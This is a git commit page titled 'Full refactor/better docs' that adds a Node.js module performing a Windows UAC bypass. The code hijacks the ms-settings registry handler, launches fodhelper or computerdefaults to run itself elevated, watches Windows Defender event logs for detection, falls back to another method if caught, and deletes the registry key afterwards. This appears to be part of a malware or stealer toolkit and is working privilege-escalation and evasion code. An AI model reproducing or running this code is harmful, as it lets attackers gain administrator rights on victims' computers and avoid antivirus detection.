Full refactor/better docs

This commit is contained in:
2026-02-01 04:09:42 +01:00
parent 008a8cea98
commit 0b60404558
76 changed files with 1566 additions and 767 deletions

View File

@@ -0,0 +1,56 @@
const { execSync } = require('child_process');
const os = require('os');
function UACbypass(method = 1) {
const execute = (cmd) => execSync(cmd, { shell: true, stdio: 'pipe' }).toString();
if (GetSelf()[1]) {
if (method === 1 || method === 2) {
const executable = process.execPath.replace(/\\/g, '\\\\');
execute(`reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /d "${executable}" /f`);
execute('reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f');
const logCountBefore = execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').split('\n').length;
if (method === 1) {
execute('computerdefaults --nouacbypass');
} else if (method === 2) {
execute('fodhelper --nouacbypass');
}
const logCountAfter = execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').split('\n').length;
execute('reg delete hkcu\\Software\\Classes\\ms-settings /f');
if (logCountAfter > logCountBefore) {
return UACbypass(method + 1);
}
} else {
return false;
}
return true;
}
}
function IsAdmin() {
return os.userInfo().username === 'Administrator';
}
function GetSelf() {
if (process.pkg) {
return [process.execPath, true];
} else {
return [__filename, false];
}
}
if (require.main === module) {
if (IsAdmin()) {
console.log("Already running with admin privileges.");
} else {
console.log("Running without admin privileges. Trying to bypass UAC...");
const bypassSuccessful = UACbypass();
if (bypassSuccessful) {
console.log("UAC bypass successful.");
} else {
console.log("UAC bypass unsuccessful.");
}
}
}